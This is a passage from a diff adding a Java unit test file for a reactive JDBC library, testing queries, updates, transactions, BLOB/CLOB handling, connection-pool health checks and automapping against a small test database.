+                .assertValue(TupleN.create("FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testHealthCheck() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            return !once.compareAndSet(true, false);
+        });
+    }
+
+    @Test
+    public void testHealthCheckThatThrows() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            if (!once.compareAndSet(true, false))
+                return true;
+            else
+                throw new RuntimeException("health check failed");
+        });
+    }
+
+    @Test
+    public void testUpdateOneRow() {
+        db().update("update person set score=20 where name='FRED'") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateThreeRows() {
+        db().update("update person set score=20") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameter() {
+        db().update("update person set score=20 where name=?") //
+                .parameter("FRED").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameterTwoRuns() {
+        db().update("update person set score=20 where name=?") //
+                .parameters("FRED", "JOSEPH").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateAllWithParameterFourRuns() {
+        db().update("update person set score=?") //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize2() {
+        db().update("update person set score=?") //
+                .batchSize(2) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize3GreaterThanNumRecords() {
+        db().update("update person set score=?") //
+                .batchSize(3) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsert() {
+        Database db = db();
+        db.update("insert into person(name, score) values(?,?)") //
+                .parameters("DAVE", 12, "ANNE", 18) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+        List<Tuple2<String, Integer>> list = db.select("select name, score from person") //
+                .getAs(String.class, Integer.class) //
+                .toList() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingGet();
+        assertTrue(list.contains(Tuple2.create("DAVE", 12)));
+        assertTrue(list.contains(Tuple2.create("ANNE", 18)));
+    }
+
+    @Test
+    public void testReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testReturnGeneratedKeysDerby() {
+        Database db = DatabaseCreator.createDerby(1);
+
+        // note is a table with auto increment
+        db.update("insert into note2(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors().assertValues(1, 3) //
+                .assertComplete();
+
+        db.update("insert into note2(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(5, 7) //
+                .assertComplete();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testReturnGeneratedKeysWithBatchSizeShouldThrow() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .batchSize(2) //
+                .returnGeneratedKeys();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys2() {
+        Database db = db();
+        // note is a table with auto increment
+        Flowable<Integer> a = db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class);
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .startWith(a) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2, 3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransaction() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnFlowable() {
+        Database db = db();
+        Flowable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnObservable() {
+        Database db = db();
+        Observable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().toObservable();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnOnSingle() {
+        Database db = db();
+        Single<Long> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().count();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnCompletable() {
+        Database db = db();
+        Completable a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().ignoreElements();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransactionBatchSize0() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(0) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    private static void info() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    private static void debug() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    @Test
+    public void testCreateBig() {
+        info();
+        big(5).select("select count(*) from person") //
+                .getAs(Integer.class) //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue(5163) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBig() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBigInputBatchSize2000() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(2000) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsString() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document from person_clob where name='FRED'") //
+                .getAsOptional(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Optional.<String>empty()) //
+                .assertComplete();
+    }
+
+    private static void insertNullClob(Database db) {
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", Database.NULL_CLOB) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testClobMethod() {
+        assertEquals(Database.NULL_CLOB, Database.clob(null));
+    }
+
+    @Test
+    public void testBlobMethod() {
+        assertEquals(Database.NULL_BLOB, Database.blob(null));
+    }
+
+    @Test
+    public void testClobMethodPresent() {
+        assertEquals("a", Database.clob("a"));
+    }
+
+    @Test
+    public void testBlobMethodPresent() {
+        byte[] b = new byte[1];
+        assertEquals(b, Database.blob(b));
+    }
+
+    @Test
+    public void testDateOfBirthNullableForReadMe() {
+        Database.test() //
+                .select("select date_of_birth from person where name='FRED'") //
+                .getAsOptional(Instant.class) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsTuple2() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document, document from person_clob where name='FRED'") //
+                .getAs(String.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Tuple2.create(null, null)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobAsString() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) // .assertValue("some
+                                                                     // text
+                                                                     // here")
+                                                                     // //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobUsingReader() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(Reader.class) //
+                .map(r -> read(r)).test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsByteArray() {
+        Database db = db();
+        insertPersonBlob(db);
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(byte[].class) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static void insertPersonBlob(Database db) {
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", bytes) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsInputStream() {
+        Database db = db();
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", new ByteArrayInputStream(bytes)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(InputStream.class) //
+                .map(is -> read(is)) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static String read(Reader reader) throws IOException {
+        StringBuffer s = new StringBuffer();
+        char[] ch = new char[128];
+        int n = 0;
+        while ((n = reader.read(ch)) != -1) {
+            s.append(ch, 0, n);
+        }
+        reader.close();
+        return s.toString();
+    }
+
+    private static byte[] read(InputStream is) throws IOException {
+        ByteArrayOutputStream bytes = new ByteArrayOutputStream();
+        byte[] b = new byte[128];
+        int n = 0;
+        while ((n = is.read(b)) != -1) {
+            bytes.write(b, 0, n);
+        }
+        is.close();
+        return bytes.toByteArray();
+    }
+
+    private void testHealthCheck(Predicate<Connection> healthy) throws InterruptedException {
+        TestScheduler scheduler = new TestScheduler();
+
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(10, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(0, TimeUnit.MINUTES) //
+                .healthy(healthy) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.MINUTES) //
+                .scheduler(scheduler) //
+                .maxPoolSize(1) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            TestSubscriber<Integer> ts0 = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test();
+            ts0.assertValueCount(0) //
+                    .assertNotComplete();
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            ts0.assertValueCount(1) //
+                    .assertComplete();
+            TestSubscriber<Integer> ts = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .assertValueCount(0);
+            System.out.println("done2");
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            Thread.sleep(200);
+            ts.assertValueCount(1);
+            Thread.sleep(200);
+            ts.assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testShutdownBeforeUse() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .scheduler(Schedulers.io()) //
+                .maxPoolSize(1) //
+                .build();
+        pool.close();
+        Database.from(pool) //
+                .select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(PoolClosedException.class);
+    }
+
+    @Test
+    public void testFewerColumnsMappedThanAvailable() {
+        db().select("select name, score from person where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues("FRED") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testMoreColumnsMappedThanAvailable() {
+        db() //
+                .select("select name, score from person where name='FRED'") //
+                .getAs(String.class, Integer.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(MoreColumnsRequestedThanExistException.class);
+    }
+
+    @Test
+    public void testSelectTimestamp() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsDate() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Date.class) //
+                .map(d -> d.getTime()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsInstant() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Instant.class) //
+                .map(d -> d.toEpochMilli()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateCalendarParameter() {
+        Calendar c = GregorianCalendar.from(ZonedDateTime.parse("2017-03-25T15:37Z"));
+        Database db = db();
+        db.update("update person set registered=?") //
+                .parameter(c) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(c.getTimeInMillis()) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimeParameter() {
+        Database db = db();
+        Time t = new Time(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampParameter() {
+        Database db = db();
+        Timestamp t = new Timestamp(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateSqlDateParameter() {
+        Database db = db();
+        java.sql.Date t = new java.sql.Date(1234);
+
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS * 10000, TimeUnit.SECONDS) //
+                // TODO make a more accurate comparison using the current TZ
+                .assertValue(x -> Math.abs(x - 1234) <= TimeUnit.HOURS.toMillis(24)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateUtilDateParameter() {
+        Database db = db();
+        Date d = new Date(1234);
+        db.update("update person set registered=?") //
+                .parameter(d) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsInstant() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(Instant.ofEpochMilli(FRED_REGISTERED_TIME)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsZonedDateTime() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(ZonedDateTime.ofInstant(Instant.ofEpochMilli(FRED_REGISTERED_TIME),
+                        ZoneOffset.UTC.normalized())) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCompleteCompletes() {
+        Database db = db(1);
+        db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingAwait();
+
+        int score = db.select("select score from person where name='FRED'") //
+                .getAs(Integer.class) //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingFirst();
+        assertEquals(-3, score);
+    }
+
+    @Test
+    public void testComplete() throws InterruptedException {
+        Database db = db(1);
+        Completable a = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete();
+        db.update("update person set score=-4 where score = -3") //
+                .dependsOn(a) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsOnlyInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .countsOnly() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .counts() //
+                .doOnNext(System.out::println) //
+                .toList() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(list -> list.get(0).isValue() && list.get(0).value() == 3
+                        && list.get(1).isComplete() && list.size() == 2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTx() throws InterruptedException {
+        Database db = db(3);
+        Single<Tx<?>> transaction = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .transaction();
+
+        transaction //
+                .doOnDispose(() -> System.out.println("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    System.out.println("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = -3") //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> System.out.println("subscribed")) //
+                            .doOnNext(num -> System.out.println("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTxAfterSelect() {
+        Database db = db(3);
+        Single<Tx<Integer>> transaction = db //
+                .select("select score from person where name='FRED'") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .firstOrError();
+
+        transaction //
+                .doOnDispose(() -> System.out.println("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    System.out.println("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = ?") //
+                            .parameter(tx.value()) //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> System.out.println("subscribed")) //
+                            .doOnNext(num -> System.out.println("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSingleFlatMap() {
+        Single.just(1).flatMapPublisher(n -> Flowable.just(1)).test(1).assertValue(1)
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedInstanceHasMeaningfulToStringMethod() {
+        info();
+        String s = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.toString()) //
+                .blockingSingle();
+        assertEquals("Person2[name=FRED, score=21]", s);
+    }
+
+    @Test
+    public void testAutomappedEquals() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(x)) //
+                .blockingSingle();
+        assertTrue(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqualNull() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(null)) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqual() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(new Object())) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedHashCode() {
+        Person2 p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .blockingSingle();
+        assertTrue(p.hashCode() != 0);
+    }
+
+    @Test
+    public void testAutomappedWithParametersThatProvokesMoreThanOneQuery() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsAndHashCodeIsDistinctOnValues() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .distinct() //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsDifferentiatesDifferentInterfacesWithSameMethodNamesAndValues() {
+        PersonDistinct1 p1 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct1.class) //
+                .blockingFirst();
+
+        PersonDistinct2 p2 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct2.class) //
+                .blockingFirst();
+
+        assertNotEquals(p1, p2);
+    }
+
+    @Test
+    public void testAutomappedObjectsWhenDefaultMethodInvoked() {
+        PersonWithDefaultMethod p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethod.class) //
+                .blockingFirst();
+        assertEquals("fred", p.nameLower());
+    }
+
+    // @Test
+    // public void testDefaultMethod() throws NoSuchMethodException,
+    // IllegalAccessException {
+    // MethodHandles.lookup().findSpecial(PersonWithDefaultMethod.class,
+    // "nameLower",
+    // MethodType.methodType(String.class, new Class[] {}),
+    // PersonWithDefaultMethod.class)
+    //// .bindTo(x);
+    // }
+
+    @Test(expected = AutomappedInterfaceInaccessibleException.class)
+    public void testAutomappedObjectsWhenDefaultMethodInvokedAndIsNonPublicThrows() {
+        PersonWithDefaultMethodNonPublic p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethodNonPublic.class) //
+                .blockingFirst();
+        p.nameLower();
+    }
+
+    @Test
+    public void testBlockingDatabase() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransacted() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
